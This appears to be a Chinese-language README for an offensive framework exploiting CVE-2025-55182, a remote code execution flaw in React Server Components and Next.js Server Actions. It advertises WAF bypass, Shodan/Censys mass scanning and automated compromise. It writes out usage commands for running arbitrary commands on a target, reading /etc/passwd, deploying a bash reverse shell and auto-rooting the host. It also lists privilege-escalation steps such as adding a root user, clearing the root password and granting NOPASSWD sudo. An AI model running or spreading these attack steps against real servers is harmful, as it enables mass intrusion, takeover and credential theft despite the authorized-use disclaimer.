精英利用工具包,针对CVE-2025-55182(React服务器组件远程代码执行)。异步多态载荷,高级WAF/CDN绕过,代理轮换,Shodan/Censys大规模扫描,自动攻陷+反向Shell,Nuclei模板,K8s实验室&C2面板。作者:Sudeepa Wanigarathna – 严格限于授权的红队和渗透测试。
██████╗ ███████╗██████╗ ██████╗ ███████╗██████╗ ██╗ ██╗
██╔════╝ ██╔════╝██╔══██╗██╔══██╗██╔════╝██╔══██╗██║ ██║
██║ █████╗ ██████╔╝██████╔╝█████╗ ██████╔╝██║ ██║
██║ ██╔══╝ ██╔══██╗██╔══██╗██╔══╝ ██╔══██╗██║ ██║
╚██████╗ ███████╗██║ ██║██████╔╝███████╗██║ ██║╚██████╔╝
╚═════╝ ╚══════╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝
React2Shell 利用框架 v1.0
作者:Sudeepa Wanigarathna
专业级 Next.js Server Actions RCE 漏洞(React2Shell)利用框架。演示从初始访问到 root 权限提升的完整攻击链。
功能特性:
# 检查漏洞
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --check
# 执行命令
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id"
python3 interactive_shell.py --target http://127.0.0.1:3000
# 完整利用:RCE → 枚举 → Root 访问
python3 demo_exploit.py --target http://127.0.0.1:3000 --auto-root
Cerberus-React2Shell-Hades/
├── react2shell_exploit.py # 核心利用引擎(400+ 行)
├── demo_exploit.py # 自动化攻击链(290+ 行)
├── interactive_shell.py # 交互式 Shell(280+ 行)
├── reverse_shell_handler.py # 反向 Shell 监听器(180+ 行)
├── post_exploit/
│ ├── linux_enum.py # 系统枚举(330+ 行)
│ ├── priv_esc.py # 权限提升(320+ 行)
│ └── __init__.py
├── EXPLOITATION_GUIDE.md # 完整使用文档
├── QUICKSTART.md # 快速参考
└── BANNER.txt
# 漏洞检查
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --check
# 执行命令
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "whoami"
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "cat /etc/passwd"
# 不同的载荷变体
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id" --variant spawn
# 启用混淆
python3 react2shell_exploit.py --target http://127.0.0.1:3000 --cmd "id" --obfuscate
# 启动 Shell
python3 interactive_shell.py --target http://127.0.0.1:3000
# 可用命令:
# - execute <cmd> : 执行 Shell 命令
# - enum : 运行完整枚举
# - escalate : 尝试权限提升
# - upload <local> <remote> : 上传文件
# - download <remote> <local>: 下载文件
# - shell <lhost> <lport>: 部署反向 Shell
# - info : 显示会话信息
# - exit : 退出
# 终端 1:启动监听器
python3 reverse_shell_handler.py --lport 4444
# 终端 2:部署 Shell
python3 react2shell_exploit.py --target http://127.0.0.1:3000 \
--revshell --lhost 127.0.0.1 --lport 4444 --shell-type bash
# 完整攻击链:发现 → RCE → 枚举 → Root
python3 demo_exploit.py --target http://127.0.0.1:3000 --auto-root
该框架实现了完整的 6 步利用链:
id 命令确认代码执行/etc/shadow 和列出 /root 证明 root 访问权限SUID 二进制文件(GTFOBins)
可写 /etc 文件
/etc/passwd - 添加新的 root 用户/etc/shadow - 清除 root 密码/etc/sudoers - 授予 NOPASSWD sudo 权限Docker 逃逸
内核漏洞利用
Linux 能力(Capabilities)
pip install -r requirements.txt
依赖项:
EXPLOITATION_GUIDE.md - 带示例的完整使用指南QUICKSTART.md - 常用命令快速参考警告:此工具仅用于授权安全测试。未经授权访问计算机系统属于违法行为。仅可在您拥有或已获得明确书面许可的系统上使用。
作者对任何滥用此工具的行为不承担任何责任。使用风险自负。
该框架设计用于:
MIT 许可证(仅限教育目的)
Sudeepa Wanigarathna
版本:1.0
最后更新:2025 年 12 月
有关详细使用说明,请参阅 EXPLOITATION_GUIDE.md